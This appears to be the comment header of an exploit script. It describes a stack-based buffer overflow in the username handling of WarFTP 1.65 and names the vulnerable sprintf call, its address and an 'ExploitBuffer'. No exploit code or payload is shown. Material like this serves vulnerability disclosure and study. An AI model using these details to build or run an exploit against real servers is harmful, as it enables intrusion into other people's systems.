##### WARFTP - VERSION 1.65 #####
##### #####
##### WarFTP Username Stack-Based Buffer-Overflow Vulnerability #####
##### #####
##### DESCRIPTION: WarFTP is prone to a stack-based buffer-overflow #####
##### vulnerability because it fails to properly check boundaries #####
##### on user-supplied data before copying it to an insufficiently #####
##### sized buffer. #####
##### #####
##### FUNC VULNERABLE: sprintf(char *buffer, const char *format, argv) #####
##### 0x004044E7: sprintf(0x00ACFB50, "%sCRLF", ExploitBuffer) #####
##### #####
##### AFFECTED VERSION: 1.65 #####
